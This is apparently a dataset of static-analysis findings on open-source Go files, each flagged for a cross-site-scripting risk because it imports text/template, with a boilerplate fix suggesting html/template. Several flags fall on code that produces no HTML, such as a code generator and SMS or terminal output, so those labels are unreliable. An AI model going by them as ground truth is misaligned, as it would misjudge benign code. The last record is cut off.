messagesenderoutput\n\nimport (\n\t\"context\"\n\t\"github.com/applicaset/sms-svc\"\n\t\"github.com/pkg/errors\"\n\t\"io\"\n\t\"os\"\n\t\"text/template\"\n)\n\nconst DefaultTemplate = `{{ .PhoneNumber }}\n\n{{ .Message }}\n`\n\ntype messageSender struct {\n\toutput io.Writer\n\ttpl *template.Template\n}\n\nfunc (ms *messageSender) Send(ctx context.Context, phoneNumber, message string) error {\n\tdata := struct {\n\t\tPhoneNumber string\n\t\tMessage string\n\t}{\n\t\tPhoneNumber: phoneNumber,\n\t\tMessage: message,\n\t}\n\n\terr := ms.tpl.Execute(ms.output, data)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error on execute template\")\n\t}\n\n\treturn nil\n}\n\ntype Option func(sender *messageSender)\n\nfunc WithTemplate(tpl *template.Template) Option {\n\treturn func(ms *messageSender) {\n\t\tms.tpl = tpl\n\t}\n}\n\nfunc WithOutput(output io.Writer) Option {\n\treturn func(ms *messageSender) {\n\t\tms.output = output\n\t}\n}\n\nfunc New(options ...Option) smssvc.MessageSender {\n\tms := messageSender{\n\t\toutput: os.Stdout,\n\t\ttpl: template.Must(template.New(\"_\").Parse(DefaultTemplate)),\n\t}\n\n\tfor i := range options {\n\t\toptions[i](&ms)\n\t}\n\n\treturn &ms\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "806ec169b6ff73e64683826acb76dad7e6a9d0a9e5d7d81aa0e09ae92b1ca409", "license": {"spdx": ["MIT"], "repo": "NickHackman/releaser", "path": "internal/tui/pages/repositories/commands.go", "repo_head_hexsha": "27dad89dbf10501edafcc69eb82f2cdfabb99d63", "stack_hexsha": "ff22b36e1027862f4c615e7fdf97e7b789ab5832", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package repositories\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n\t\"time\"\n\n\t\"github.com/Masterminds/sprig\"\n\t\"github.com/NickHackman/releaser/internal/config\"\n\t\"github.com/NickHackman/releaser/internal/github\"\n\t\"github.com/NickHackman/releaser/internal/tui/bubbles/repository\"\n\t\"github.com/NickHackman/releaser/internal/version\"\n\ttea \"github.com/charmbracelet/bubbletea\"\n\t\"github.com/cli/browser\"\n)\n\ntype errorCmd error\n\nfunc (m *Model) publishCmd() tea.Cmd {\n\treturn func() tea.Msg {\n\t\tif m.countSelected() == 0 {\n\t\t\treturn nil\n\t\t}\n\n\t\tctx, cancel := context.WithTimeout(context.Background(), m.config.Timeout)\n\t\tdefer cancel()\n\n\t\tvar releases []*github.RepositoryRelease\n\t\tfor _, item := range m.list.Items() {\n\t\t\ti, ok := item.(repository.Item)\n\t\t\tif !ok || !i.Selected {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tsha := i.Commits[0].GetSHA()\n\n\t\t\treleases = append(releases, &github.RepositoryRelease{Name: i.Repo.GetName(), Version: i.Version, Body: i.Preview, TargetSHA: sha})\n\t\t}\n\n\t\tm.config.Terminal.Releases <- m.gh.CreateReleases(ctx, m.config.Org, releases, m.config.CreateReleaseBranch)\n\t\treturn tea.Quit()\n\t}\n}\n\nfunc (m *Model) openURLCmd() tea.Cmd {\n\treturn func() tea.Msg {\n\t\titem, ok := m.list.SelectedItem().(repository.Item)\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\n\t\tvar output bytes.Buffer\n\t\tbrowser.Stdout = &output\n\n\t\tif err := browser.OpenURL(item.Repo.GetHTMLURL()); err != nil {\n\t\t\treturn errorCmd(err)\n\t\t}\n\n\t\treturn nil\n\t}\n}\n\nfunc loadRepositoriesCmd(channel <-chan *github.ReleaseableRepoResponse, config *config.Config) tea.Cmd {\n\treturn func() tea.Msg {\n\t\tr, ok := <-channel\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\n\t\treturn repository.Item{\n\t\t\tReleaseableRepoResponse: r,\n\t\t\tPreview: PreviewContent(r, config.Template),\n\t\t\tBranch: r.Branch,\n\t\t\tVersion: version.New(r.LatestTag.GetName(), config.VersionChange),\n\t\t}\n\t}\n}\n\ntype commitTemplate struct {\n\tSha string\n\tURL string\n\tSummary string\n\tMessage string\n\n\tAuthorUsername string\n\tAuthorName string\n\tAuthorEmail string\n\tAuthorDate time.Time\n\tAuthorURL string\n\n\tCommitterUsername string\n\tCommitterName string\n\tCommitterEmail string\n\tCommitterDate time.Time\n\tCommitterURL string\n}\n\nfunc PreviewContent(r *github.ReleaseableRepoResponse, templatedString string) string {\n\tvar templateCommits []*commitTemplate\n\n\tfor _, c := range r.Commits {\n\t\ttemplateCommits = append(templateCommits,\n\t\t\t&commitTemplate{\n\t\t\t\tSha: c.GetSHA(),\n\t\t\t\tURL: c.GetHTMLURL(),\n\t\t\t\tMessage: c.GetCommit().GetMessage(),\n\t\t\t\tSummary: strings.Split(c.GetCommit().GetMessage(), \"\\n\")[0],\n\n\t\t\t\tAuthorUsername: c.GetAuthor().GetLogin(),\n\t\t\t\tAuthorURL: c.GetAuthor().GetURL(),\n\t\t\t\tAuthorName: c.GetCommit().GetAuthor().GetName(),\n\t\t\t\tAuthorEmail: c.GetCommit().GetAuthor().GetEmail(),\n\t\t\t\tAuthorDate: c.GetCommit().GetAuthor().GetDate(),\n\n\t\t\t\tCommitterUsername: c.GetCommitter().GetLogin(),\n\t\t\t\tCommitterURL: c.GetCommitter().GetURL(),\n\t\t\t\tCommitterName: c.GetCommit().GetCommitter().GetName(),\n\t\t\t\tCommitterEmail: c.GetCommit().GetCommitter().GetEmail(),\n\t\t\t\tCommitterDate: c.GetCommit().GetCommitter().GetDate(),\n\t\t\t})\n\t}\n\n\tparams := map[string]interface{}{\n\t\t\"RepositoryName\": r.Repo.GetName(),\n\t\t\"RepositoryOwner\": r.Repo.GetOwner().GetLogin(),\n\t\t\"RepositoryUrl\": r.Repo.GetHTMLURL(),\n\t\t\"RepositoryDescription\": r.Repo.GetDescription(),\n\t\t\"RepositoryDefaultBranch\": r.Repo.GetDefaultBranch(),\n\t\t\"Commits\": templateCommits,\n\t}\n\n\tsf := sprig.TxtFuncMap()\n\n\tt, err := template.New(\"template\").Funcs(sf).Parse(templatedString)\n\tif err != nil {\n\t\treturn templatedString + fmt.Sprintf(\"\\n\\nError: failed to parse template: %v\", err)\n\t}\n\n\tvar buf bytes.Buffer\n\tif err := t.Execute(&buf, params); err != nil {\n\t\treturn templatedString + fmt.Sprintf(\"\\n\\nError: failed to execute template: %v\", err)\n\t}\n\n\treturn buf.String()\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "553194226460145e89d3c2a6f710f6dc38a04db153b8adcde50d655e22a39e0b", "license": {"spdx": ["MIT"], "repo": "dnvriend/gen", "path": "list/template.go", "repo_head_hexsha": "d780502a31aa85182731dd22b909e9fdcb48c7a0", "stack_hexsha": "cb55e7d75c6aa2bf296cd5bef8dc2b77c78c95be", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 4, "entireCode": "package list\n\nimport (\n\t\"text/template\"\n)\n\nvar baseTmpl = template.Must(template.New(\"generated\").Parse(`\ntype {{.TypeName}}List []{{.Type}}\n\nfunc Empty{{.TypeName}}List() {{.TypeName}}List {\n\treturn make([]{{.Type}}, 0)\n}\n\n// append an element to the end of the list\nfunc (rcv {{.TypeName}}List) Append(x {{.Type}}) {{.TypeName}}List {\n\treturn append(rcv, x)\n}\n\n// append elements to the end of the list\nfunc (rcv {{.TypeName}}List) AppendAll(xs ...{{.Type}}) {{.TypeName}}List {\n\treturn append(rcv, xs...)\n}\n\n// alias for AppendAll\nfunc (rcv {{.TypeName}}List) Concat(xs ...{{.Type}}) {{.TypeName}}List {\n\treturn rcv.AppendAll(xs...)\n}\n\n// append a slice to the end of the list\nfunc (rcv {{.TypeName}}List) AppendSlice(xs []{{.Type}}) {{.TypeName}}List {\n\treturn append(rcv, xs...)\n}\n\n// alias for AppendSlice\nfunc (rcv {{.TypeName}}List) ConcatSlice(xs []{{.Type}}) {{.TypeName}}List {\n\treturn rcv.AppendSlice(xs)\n}\n\nfunc (rcv {{.TypeName}}List) Reverse() {{.TypeName}}List {\n\tfor i, j := 0, len(rcv)-1; i < j; i, j = i+1, j-1 {\n\t\trcv[i], rcv[j] = rcv[j], rcv[i]\n\t}\n\treturn rcv\n}\n\n// panics when the list is empty\nfunc (rcv {{.TypeName}}List) Head() {{.Type}} {\n\treturn rcv[0] \n}\n\nfunc (rcv {{.TypeName}}List) HeadOption() {{.TypeName}}Option {\n\tif len(rcv) == 0 {\n\t\treturn OptionOf{{.TypeName}}(nil)\n\t} \n\treturn OptionOf{{.TypeName}}(&rcv[0])\n}\n\nfunc (rcv {{.TypeName}}List) Last() {{.Type}} {\n\treturn rcv[len(rcv)-1] \n}\n\n// returns the initial part of the collection, without the last element\nfunc (rcv {{.TypeName}}List) Init() {{.TypeName}}List {\n\treturn rcv[:len(rcv)-1]\n}\n\n// The rest of the collection without its first element.\nfunc (rcv {{.TypeName}}List) Tail() {{.TypeName}}List {\n\treturn rcv[1:]\n} \n\n// Selects all elements of this list which satisfy a predicate.\nfunc (rcv {{.TypeName}}List) Filter(fn func({{.Type}}) bool) {{.TypeName}}List {\n\tys := Empty{{.TypeName}}List()\n \trcv.ForEach(func(v {{.Type}}) {\n\t\tif fn(v) {\n\t\t\tys = ys.Append(v)\n\t\t}\n\t})\n\treturn ys\n}\n\n// alias for Filter\nfunc (rcv {{.TypeName}}List) TakeWhile(fn func({{.Type}}) bool) {{.TypeName}}List {\n\treturn rcv.Filter(fn)\n}\n\n// Selects all elements of this list which do not satisfy a predicate.\nfunc (rcv {{.TypeName}}List) FilterNot(fn func({{.Type}}) bool) {{.TypeName}}List {\n\treturn rcv.Filter(func (x {{.Type}}) bool { return !fn(x)})\n}\n\n// alias for FilterNot\nfunc (rcv {{.TypeName}}List) DropWhile(fn func({{.Type}}) bool) {{.TypeName}}List {\n\treturn rcv.FilterNot(fn)\n}\n\nfunc (rcv {{.TypeName}}List) ForEach(fn func({{.Type}})) {\n\tfor _, x := range rcv {\n\t\tfn(x)\n\t}\n}\n\nfunc (rcv {{.TypeName}}List) ForEachWithIndex(fn func(int, {{.Type}})) {\n\tfor i, x := range rcv {\n\t\tfn(i, x)\n\t}\n}\n\nfunc (rcv {{.TypeName}}List) ForEachWithLastFlag(fn func(bool, {{.Type}})) {\n\tfor i, x := range rcv {\n\t\tfn(i+1 == len(rcv), x)\n\t}\n}\n\nfunc (rcv {{.TypeName}}List) ForEachP(fn func({{.Type}})) {\n\trcv.ForEachPP(10, fn)\n}\n\nfunc (rcv {{.TypeName}}List) ForEachPP(parallelism int, fn func({{.Type}})) {\n\trcv.ForEachPPP(parallelism, fn, func() {})\n}\n\nfunc (rcv {{.TypeName}}List) ForEachPPP(parallelism int, fn func({{.Type}}), progressFn func()) {\n\tnrJobs := rcv.Count()\n\tinput := make(chan {{.Type}}, nrJobs)\n\toutput := make(chan bool, nrJobs)\n\n\t// make workers\n\tRange(0, parallelism).ForEach(func() {\n\t\tgo func() {\n\t\t\tfor x := range input {\n\t\t\t\tfn(x)\n\t\t\t\toutput <- true\n\t\t\t}\n\t\t}()\n\t})\n\n\t// put commands on the channel\n\trcv.ForEach(func(x {{.Type}}) {\n\t\tinput <- x\n\t})\n\tclose(input)\n\n\tRange(0, nrJobs).ForEach(func() {\n\t\t<-output\n\t\tprogressFn()\n\t})\n}\n\nfunc (rcv {{.TypeName}}List) Count() int {\n\treturn len(rcv)\n}\n\nfunc (rcv {{.TypeName}}List) IsEmpty() bool {\n\treturn len(rcv) == 0\n}\n\nfunc (rcv {{.TypeName}}List) IsNotEmpty() bool {\n\treturn len(rcv) != 0\n}\n\n// tests whether this sequence contains the given index\nfunc (rcv {{.TypeName}}List) IsDefinedAt(x int) bool {\n\treturn x >= 0 && x < len(rcv)\n}\n\n// returns a slice of {{.Type}}\nfunc (rcv {{.TypeName}}List) ToSlice() []{{.Type}} {\n\treturn rcv\n}\n\n// returns the element at the index\nfunc (rcv {{.TypeName}}List) Apply(x int) {{.Type}} {\n\treturn rcv[x]\n}\n\nfunc (rcv {{.TypeName}}List) ApplyOrElse(x int, fn func() {{.Type}}) {{.Type}} {\n\tif &rcv[x] == nil {\n\t\treturn rcv[x]\n\t} else {\n\t\treturn fn()\n\t}\n}\n\nfunc (rcv {{.TypeName}}List) FoldLeft(zero {{.Type}}, fn func(acc {{.Type}}, x {{.Type}}) {{.Type}}) {{.Type}} {\n\tfor _, x := range rcv {\n\t\tzero = fn(zero, x)\n\t}\n\treturn zero\n}\n\nfunc (rcv {{.TypeName}}List) FoldRight(zero {{.Type}}, fn func(acc {{.Type}}, x {{.Type}}) {{.Type}}) {{.Type}} {\n\tfor _, x := range rcv.Reverse() {\n\t\tzero = fn(zero, x)\n\t}\n\treturn zero\n}\n\nfunc (rcv {{.TypeName}}List) Intersperse(a {{.Type}}) {{.TypeName}}List {\n\tys := Empty{{.TypeName}}List()\n\trcv.ForEachWithLastFlag(func(last bool, x {{.Type}}) {\n\t\tys = ys.Append(x)\n\t\tif !last {\n\t\t\tys = ys.Append(a)\n\t\t}\n\t})\n\treturn ys\n}\n\n// create a new list prefilled\nfunc (rcv {{.TypeName}}List) Fill(num int, a {{.Type}}) {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\tfor i := 0; i < num; i++ {\n\t\txs = xs.Append(a)\n\t}\n\treturn xs\n}\n\nfunc (rcv {{.TypeName}}List) Tablulate(num int, fn func(int) {{.Type}}) {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\tfor i := 0; i < num; i++ {\n\t\txs = xs.Append(fn(i))\n\t}\n\treturn xs\n}\n\nfunc (rcv {{.TypeName}}List) Partition(fn func({{.Type}}) bool) ({{.TypeName}}List, {{.TypeName}}List) {\n\txs := Empty{{.TypeName}}List()\n\tys := Empty{{.TypeName}}List()\n\trcv.ForEach(func(x {{.Type}}) {\n\t\tif fn(x) {\n\t\t\txs = xs.Append(x)\n\t\t} else {\n\t\t\tys = ys.Append(x)\n\t\t}\n\t})\n\treturn xs, ys\n}\n\nfunc (rcv {{.TypeName}}List) MkString(fn func({{.Type}}) string) String {\n\tvar builder strings.Builder\n\trcv.ForEach(func(x {{.Type}}) {\n\t\tbuilder.WriteString(fn(x))\n\t})\n\treturn String(builder.String())\n}\n\nfunc (rcv {{.TypeName}}List) RangeOf(from int, to int, fn func(int) {{.Type}}) {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\tfor i := from; i <= to; i++ {\n\t\txs = xs.Append(fn(i))\n\t}\n\treturn xs\n}\n\nfunc (rcv {{.TypeName}}List) Contains(a {{.Type}}) bool {\n\tfor _, x := range rcv {\n\t\tif cmp.Equal(x, a) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc (rcv {{.TypeName}}List) ContainsNot(a {{.Type}}) bool {\n\treturn !rcv.Contains(a)\n}\n\nfunc (rcv {{.TypeName}}List) Distinct() {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\trcv.ForEach(func(x {{.Type}}) {\n\t\tif xs.ContainsNot(x) {\n\t\t\txs = xs.Append(x)\n\t\t}\n\t})\n\treturn xs\n}\n\n// return the intersection of the list and another list\nfunc (rcv {{.TypeName}}List) Intersect(xs {{.TypeName}}List) {{.TypeName}}List {\n\tys := Empty{{.TypeName}}List()\n\trcv.ForEach(func(x {{.Type}}) {\n\t\txs.ForEach(func(y {{.Type}}) {\n\t\t\tif cmp.Equal(x, y) && ys.ContainsNot(x) {\n\t\t\t\tys = ys.Append(x)\n\t\t\t}\n\t\t})\n\t})\n\treturn ys\n}\n\nfunc (rcv {{.TypeName}}List) Slice(from int, to int) {{.TypeName}}List {\n\treturn rcv[from : to+1]\n}\n\nfunc (rcv {{.TypeName}}List) FlatMapTo{{.TypeName}}List(fn func({{.Type}}) {{.TypeName}}List) {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\trcv.ForEach(func(x {{.Type}}) {\n\t\txs = xs.AppendSlice(fn(x).ToSlice())\n\t})\n\treturn xs\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.TypeName}}(fn func({{.Type}}) {{.Type}}) {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\trcv.ForEach(func(x {{.Type}}) {\n\t\txs = xs.Append(fn(x))\n\t})\n\treturn xs\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.TypeName}}WithIndex(fn func(int,{{.Type}}) {{.Type}}) {{.TypeName}}List {\n\txs := Empty{{.TypeName}}List()\n\trcv.ForEachWithIndex(func(i int, x {{.Type}}) {\n\t\txs = xs.Append(fn(i,x))\n\t})\n\treturn xs\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.TypeName}}P(mapFn func({{.Type}}) {{.Type}}) {{.TypeName}}List {\n\treturn rcv.MapTo{{.TypeName}}PP(10, mapFn)\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.TypeName}}PP(parallelism int, mapFn func({{.Type}}) {{.Type}}) {{.TypeName}}List {\n\treturn rcv.MapTo{{.TypeName}}PPP(parallelism, mapFn, func() {})\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.TypeName}}PPP(parallelism int, mapFn func({{.Type}}) {{.Type}}, progressFn func()) {{.TypeName}}List {\n\tnrJobs := rcv.Count()\n\tinput := make(chan {{.Type}}, nrJobs)\n\toutput := make(chan {{.Type}}, nrJobs)\n\n\t// make workers\n\tRange(0, parallelism).ForEach(func() {\n\t\tgo func() {\n\t\t\tfor x := range input {\n\t\t\t\toutput <- mapFn(x)\n\t\t\t}\n\t\t}()\n\t})\n\n\t// put commands on the channel\n\trcv.ForEach(func(x {{.Type}}) {\n\t\tinput <- x\n\t})\n\tclose(input)\n\n\txs := Empty{{.TypeName}}List()\n\tRange(0, nrJobs).ForEach(func() {\n\t\txs = xs.Append(<-output)\n\t\tprogressFn()\n\t})\n\treturn xs\n}\n\n// implementation of 'sort.Interface'\nfunc (rcv {{.TypeName}}List) Len() int {\n\treturn rcv.Count()\n}\n\n// implementation of 'sort.Interface'\nfunc (rcv {{.TypeName}}List) Swap(i, j int) {\n\trcv[i], rcv[j] = rcv[j], rcv[i]\n}\n\n// implementation of sort.Interface\nvar {{.TypeName}}ListLessFunc = func(i, j int) bool {\n\tpanic(\"Not implemented\")\n}\n\n// implementation of sort.Interface\nfunc (rcv {{.TypeName}}List) Less(i, j int) bool {\n\treturn {{.TypeName}}ListLessFunc(i, j)\n}\n\n// i and j are two objects that need to be compared, \n// and based on that comparison the List will be sorted\nfunc (rcv {{.TypeName}}List) Sort(fn func(i {{.Type}}, j {{.Type}}) bool) {{.TypeName}}List {\n\t{{.TypeName}}ListLessFunc = func(i, j int) bool {\n\t\treturn fn(rcv[i], rcv[j])\n\t}\n\tsort.Sort(rcv)\n\treturn rcv\n}\n`))\n\nvar mapToTemplate = template.Must(template.New(\"generated\").Parse(`\nfunc (rcv {{.TypeName}}List) MapTo{{.ToTypeName}}(fn func({{.Type}}) {{.ToType}}) {{.ToTypeName}}List {\n\tys := make([]{{.ToType}}, 0)\n\tfor _, x := range rcv {\n\t\tys = append(ys, fn(x))\n\t}\n\treturn ys\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.ToTypeName}}WithIndex(fn func(int, {{.Type}}) {{.ToType}}) {{.ToTypeName}}List {\n\tys := make([]{{.ToType}}, 0)\n\tfor i, x := range rcv {\n\t\tys = append(ys, fn(i, x))\n\t}\n\treturn ys\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.ToTypeName}}WithLastFlag(fn func(bool, {{.Type}}) {{.ToType}}) {{.ToTypeName}}List {\n\tys := make([]{{.ToType}}, 0)\n\tfor i, x := range rcv {\n\t\tys = append(ys, fn(i+1 == len(rcv), x))\n\t}\n\treturn ys\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.ToTypeName}}P(mapFn func({{.Type}}) {{.ToType}}) {{.ToTypeName}}List {\n\treturn rcv.MapTo{{.ToTypeName}}PP(10, mapFn)\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.ToTypeName}}PP(parallelism int, mapFn func({{.Type}}) {{.ToType}}) {{.ToTypeName}}List {\n\treturn rcv.MapTo{{.ToTypeName}}PPP(parallelism, mapFn, func() {})\n}\n\nfunc (rcv {{.TypeName}}List) MapTo{{.ToTypeName}}PPP(parallelism int, mapFn func({{.Type}}) {{.ToType}}, progressFn func()) {{.ToTypeName}}List {\n\tnrJobs := rcv.Count()\n\tinput := make(chan {{.Type}}, nrJobs)\n\toutput := make(chan {{.ToType}}, nrJobs)\n\n\t// make workers\n\tRange(0, parallelism).ForEach(func() {\n\t\tgo func() {\n\t\t\tfor x := range input {\n\t\t\t\toutput <- mapFn(x)\n\t\t\t}\n\t\t}()\n\t})\n\n\t// put commands on the channel\n\trcv.ForEach(func(x {{.Type}}) {\n\t\tinput <- x\n\t})\n\tclose(input)\n\n\txs := Empty{{.ToTypeName}}List()\n\tRange(0, nrJobs).ForEach(func() {\n\t\txs = xs.Append(<-output)\n\t\tprogressFn()\n\t})\n\treturn xs\n}\n`))\n\nvar foldMapToTemplate = template.Must(template.New(\"generated\").Parse(`\nfunc (rcv {{.TypeName}}List) FoldMapTo{{.ToTypeName}}(zero {{.ToType}}, foldFn func(acc {{.ToType}}, x {{.ToType}}) {{.ToType}}, mapFn func(x {{.Type}}) {{.ToType}}) {{.ToType}} {\n\tacc := zero\n\tfor _, x := range rcv {\n\t\ty := mapFn(x)\n\t\tacc = foldFn(acc, y)\n\t}\n\treturn acc\n}\n`))\n\nvar importsTemplate = template.Must(template.New(\"generated\").Parse(`\nimport (\n\t{{range $index, $import := .Imports}}\"{{$import}}\"\n\t{{end}}\n)\n`))\n\nvar intListTemplate = template.Must(template.New(\"generated\").Parse(`\nfunc (rcv IntList) Range(from int, to int) IntList {\n\txs := EmptyIntList()\n\tfor i := from; i <= to; i++ {\n\t\txs = xs.Append(i)\n\t}\n\treturn xs\n}\n`))\n\nvar stringListTemplate = template.Must(template.New(\"generated\").Parse(`\n// joins using the character and returns the string\nfunc (rcv StringList) Join(sep string) String {\n\treturn rcv.Intersperse(sep).MkString(func (x string) string { return x})\n}\n`))\n\nvar flatMapToTemplate = template.Must(template.New(\"generated\").Parse(`\nfunc (rcv {{.TypeName}}List) FlatMapTo{{.ToTypeName}}List(fn func({{.Type}}) {{.ToTypeName}}List) {{.ToTypeName}}List {\n\txs := Empty{{.ToTypeName}}List()\n\trcv.ForEach(func(x {{.Type}}) {\n\t\txs = xs.AppendSlice(fn(x).ToSlice())\n\t})\n\treturn xs\n}\n`))", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "6146fc1790fc997a3adb0e89aa040742781a424f178bf0969fc779e110e59ea5", "license": {"spdx": ["BSD-3-Clause"], "repo": "Alkorin/utask", "path": "pkg/plugins/builtin/email/email.go", "repo_head_hexsha": "b255c42d09f09505b2f7b5617e27dbb0901e9e28", "stack_hexsha": "b443f8377256ede87a84d60e49825cbdbb495de8", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 10, "entireCode": "package email\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"mime\"\n\t\"net/smtp\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/ovh/utask/pkg/plugins/taskplugin\"\n)\n\n// the email plugin send email\nvar (\n\tPlugin = taskplugin.New(\"email\", \"0.1\", exec,\n\t\ttaskplugin.WithConfig(validConfig, Config{}),\n\t)\n)\n\n// Config is the configuration needed to send an email\ntype Config struct {\n\tSMTPUsername string `json:\"smtp_username\"`\n\tSMTPPassword string `json:\"smtp_password\"`\n\tSMTPPort uint16 `json:\"smtp_port,omitempty\"`\n\tSMTPHostname string `json:\"smtp_hostname\"`\n\tFrom string `json:\"from\"`\n\tTo []string `json:\"to\"`\n\tSubject string `json:\"subject\"`\n\tBody string `json:\"body\"`\n}\n\nconst emailTemplate = \"From: {{.From}}\\r\\n\" +\n\t\"To: {{.To}}\\r\\n\" +\n\t\"Subject: {{.Subject}}\\r\\n\" +\n\t\"MIME-version: 1.0\\r\\n\" +\n\t\"Content-Type: text/html; charset=\\\"UTF-8\\\"\\r\\n\" +\n\t\"\\r\\n\" +\n\t\"{{.Body}}\"\n\nfunc validConfig(config interface{}) error {\n\tcfg := config.(*Config)\n\n\tif cfg.SMTPUsername == \"\" {\n\t\treturn errors.New(\"smtp_username is missing\")\n\t}\n\tif cfg.SMTPPassword == \"\" {\n\t\treturn errors.New(\"smtp_password is missing\")\n\t}\n\tif cfg.From == \"\" {\n\t\treturn errors.New(\"from is missing\")\n\t}\n\tif len(cfg.To) == 0 {\n\t\treturn errors.New(\"to is missing\")\n\t}\n\tif cfg.SMTPHostname == \"\" {\n\t\treturn errors.New(\"smtp_hostname is missing\")\n\t}\n\tif cfg.Subject == \"\" {\n\t\treturn errors.New(\"subject is missing\")\n\t}\n\tif cfg.Body == \"\" {\n\t\treturn errors.New(\"body is missing\")\n\t}\n\n\treturn nil\n}\n\nfunc exec(stepName string, config interface{}, ctx interface{}) (interface{}, interface{}, error) {\n\tcfg := config.(*Config)\n\n\tparameters := struct {\n\t\tFrom string `json:\"from\"`\n\t\tTo string `json:\"to\"`\n\t\tSubject string `json:\"subject\"`\n\t\tBody string `json:\"body\"`\n\t}{\n\t\tcfg.From,\n\t\tstrings.Join(cfg.To, \",\"),\n\t\tmime.BEncoding.Encode(\"UTF-8\", cfg.Subject),\n\t\tcfg.Body,\n\t}\n\n\tbuffer := new(bytes.Buffer)\n\n\ttemplate := template.Must(template.New(\"emailTemplate\").Parse(emailTemplate))\n\ttemplate.Execute(buffer, ¶meters)\n\n\tauth := smtp.PlainAuth(\"\", cfg.SMTPUsername, cfg.SMTPPassword, cfg.SMTPHostname)\n\n\tport := cfg.SMTPPort\n\tif port == 0 {\n\t\tport = 25\n\t}\n\n\terr := smtp.SendMail(\n\t\tfmt.Sprintf(\"%s:%d\", cfg.SMTPHostname, cfg.SMTPPort),\n\t\tauth,\n\t\tcfg.From,\n\t\tcfg.To,\n\t\tbuffer.Bytes())\n\tif err != nil {\n\t\treturn nil, nil, fmt.Errorf(\"Send email failed: %s\", err.Error())\n\t}\n\n\treturn ¶meters, nil, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 10, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "daeb8d0e27141ef2ceadd83ae5fa846ec7a0c44ab890678f526ab7d1bebe8ab5", "license": {"spdx": ["Apache-2.0"], "repo": "coldeasy/haproxy-ingress", "path": "pkg/haproxy/template/template.go", "repo_head_hexsha": "392ed6205395e4cf79cae46a0af32a09738deff6", "stack_hexsha": "8745e1fbd072d11b525e0a5a9b549db4ee2b4103", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped 